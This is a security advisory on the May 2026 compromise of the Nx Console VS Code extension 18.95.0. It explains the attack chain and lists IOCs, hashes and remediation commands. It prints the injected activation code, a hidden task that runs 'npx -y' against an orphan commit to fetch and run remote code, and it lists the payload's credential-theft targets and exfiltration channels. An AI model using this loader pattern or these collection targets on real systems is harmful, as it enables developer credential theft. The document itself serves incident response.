critical
CVE
Not assigned
CWE
CWE-506
Affected Surface
nrwl.angular-console 18.95.0, Nx Console for VS Code, Nx Console on Open VSX 18.95.0, VS Code, Cursor, and VS Code-compatible editors with auto-updated Nx Console, Developer workstations with GitHub, npm, AWS, Vault, Kubernetes, Docker, GCP, SSH, Claude Code, or 1Password credentials
On 18 May 2026, nrwl.angular-console version 18.95.0 was published to the Visual Studio Marketplace and Open VSX with malicious code. nrwl.angular-console is the Nx Console extension for VS Code and VS Code-compatible editors, so the affected surface is not a server package in production code; it is the developer workstation where source code, package-registry tokens, cloud CLIs, SSH keys, and AI coding-tool credentials are commonly present.
The malicious version was available for minutes, but that is enough for auto-update. The Nx advisory reports Visual Studio Marketplace exposure from roughly 12:30 to 12:48 UTC and Open VSX exposure from 12:33 to 13:09 UTC. The same advisory says official marketplace download counts were low, but internal Nx telemetry later showed approximately 6,000 extension activations from VS Code after the attack.
Treat any workstation that installed nrwl.angular-console@18.95.0 and opened a workspace as compromised.
Affected extension versions
Confirmed malicious:
nrwl.angular-console18.95.0
Known-clean remediation target:
nrwl.angular-console18.100.0or later
The affected release did not match the normal source repository release flow. Community reports noted that the latest legitimate repository release before the attack was 18.94.0, while the malicious marketplace build contained injected code in the compiled extension bundle.
Workspace activation as the execution point
The malicious logic ran from the extension activation path, not from a package install script. That matters because the trigger was opening a workspace in the editor after the extension had auto-updated.
The injected code created a hidden VS Code task with a benign-looking task name and executed npx against a specific Git commit:
var U0 = require("vscode");
var G5t = "558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2";
var xfn = "nxConsole.mcpExtensionInstalledSha";
async function Uxs(t, e) {
const command = `npx -y github:nrwl/nx#${G5t}`;
const task = new U0.Task(
{ type: "nx" },
U0.TaskScope.Workspace,
"install-mcp-extension",
"nx",
new U0.ShellExecution(command, {
cwd: e,
env: { ...process.env, NX_CONSOLE: "true" }
})
);
task.presentationOptions.focus = false;
}
The -y flag suppresses the interactive prompt. The task name, install-mcp-extension, blends into legitimate Nx Console functionality. The globalState key nxConsole.mcpExtensionInstalledSha records the commit after successful execution so the payload does not need to refire on every workspace open.
Dangling commit delivery
The hardcoded commit, 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2, was an orphan commit in the official nrwl/nx repository. It had no parent, was not reachable from a branch, and replaced the monorepo tree with only two files:
{
"name": "nx-next",
"version": "1.0.0",
"bin": {
"nx-next": "./index.js"
},
"dependencies": {
"bun": "^1.3.14"
},
"files": ["index.js"]
}
That shape is important. npx -y github:nrwl/nx#558b09d7... made npm treat the orphan commit as a standalone executable package, install bun, and run the obfuscated index.js through the bin entry. Static checks focused only on extension metadata or package lifecycle hooks can miss this path because the extension creates an editor task, which then causes npm to fetch executable code from a Git commit.
StepSecurity measured the second-stage payload at 498 KB of obfuscated JavaScript. Reported obfuscation layers included a rotated string table, custom Base64 alphabet, PBKDF2-derived runtime string decryption, mangled identifiers, and encrypted embedded payload blobs.
Credential collection
The payload was built for developer and CI/CD secret theft. Public analysis and the Nx advisory describe collectors for:
- GitHub tokens, including
ghp_,gho_, andghs_token patterns. - GitHub Actions repository and organization secrets through API calls such as
/actions/secretsand/actions/organization-secrets. - npm credentials from
.npmrc, account validation through/-/whoami, package enumeration, and OIDC trusted-publishing token exchange paths. - AWS credentials through local files, IMDS at
169.254.169.254, ECS task metadata at169.254.170.2, Secrets Manager, and SSM Parameter Store. - HashiCorp Vault tokens from
~/.vault-token,/etc/vault/token, Kubernetes auth, and AWS IAM auth. - Kubernetes service account tokens and kubeconfig material.
- Docker credentials, GCP service account files, SSH private keys, connection strings, and
.envfiles. - 1Password secrets through the
opCLI when a session was available. - Claude Code configuration under
~/.claude/, including AI-tool and MCP-server credentials.
On Linux, the payload also attempted to read process memory under /proc/*/mem and pattern-match secret-shaped JSON. This bypasses defenses that only scan files on disk: secrets loaded into an IDE, terminal, local dev server, or CLI process can still be exposed if the payload runs as the same user.
Exfiltration and signed-provenance abuse
The payload used multiple exfiltration paths: HTTPS, GitHub API abuse with stolen tokens, and DNS tunneling. Stolen material was compressed and encrypted before transmission, with public reporting describing AES-256-GCM content encryption and RSA wrapping of the session key.
One of the more dangerous capabilities is not just theft but package-republishing enablement. StepSecurity reports logic for:
https://fulcio.sigstore.devhttps://rekor.sigstore.devhttps://slsa.dev/provenance/v1https://in-toto.io/Statement/v1https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
That combination can let an attacker turn stolen OIDC and registry access into npm package releases with valid-looking Sigstore and SLSA provenance. For responders, signature presence is not a safe verdict if the signing identity or publishing workflow was compromised.
Persistence and IOCs
Reported filesystem and process indicators:
nrwl.angular-consoleexactly18.95.0nxConsole.mcpExtensionInstalledShaset to558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2- npm cache entries for
github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 ~/.local/share/kitty/cat.py~/Library/LaunchAgents/com.user.kitty-monitor.plist/tmp/kitty-*/var/tmp/.gh_update_state- processes with
__DAEMONIZED=1 pythonorpython3processes runningcat.py
Reported hashes and Git object identifiers:
- malicious orphan commit:
558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 - commit tree:
ba642fe2c7c65e42dd7f6444b83023dc6827e08c index.jsblob:acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbfpackage.jsonblob:9d88f040c44b5f4d5f9db15ff89310776c168e99- malicious VSIX SHA-256:
1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 - malicious
main.jsSHA-256:b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 - obfuscated
index.jsSHA-256:e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1
The macOS persistence path used a LaunchAgent that ran the Python backdoor hourly. The backdoor polled GitHub Search for commits matching firedalazer, verified RSA-PSS signatures, and then downloaded and ran attacker-controlled Python.
Remediation
First, update Nx Console to 18.100.0 or later in every VS Code-compatible editor. Check VS Code, Cursor, Windsurf, and any other editor that consumes VS Code extensions. Remove 18.95.0 from endpoint inventories and any internal extension mirrors.
Second, stop active processes and remove persistence:
pkill -f __DAEMONIZED
pkill -f "cat.py"
pkill -f "kitty-"
rm -f ~/.local/share/kitty/cat.py
rm -rf /tmp/kitty-*
rm -f /var/tmp/.gh_update_state
On macOS, unload the LaunchAgent before deleting it:
launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist
Third, rotate credentials from a known-clean machine. The rotation scope should include GitHub PATs and OAuth sessions, npm tokens, package trusted-publishing credentials, cloud provider credentials, Vault tokens, Kubernetes service accounts, Docker credentials, SSH keys, .env secrets, 1Password items accessed by the op CLI, AI coding-assistant credentials, and MCP server secrets.
Finally, audit downstream publishing and repository changes. Review GitHub audit logs, Actions secret reads, repository creation, workflow changes, npm publish history, Sigstore transparency entries, cloud secret-manager reads, Vault audit logs, Kubernetes pods/exec events, and unexpected DNS or GitHub API activity from developer machines. The safe assumption is host compromise, not just extension compromise.
References
- Nx Console advisory: Compromised Nx Console version 18.95.0
- StepSecurity: Nx Console VS Code Extension Compromised
- GitHub issue: v18.95.0 executes obfuscated payload
- GitHub issue: Why Nx Console is removed from VSCode Marketplace?
- Cyber Security News: Nx Console VS Code Extension Compromised
- Aikido: GitHub breached via a malicious VS Code extension
- CWE-506 Embedded Malicious Code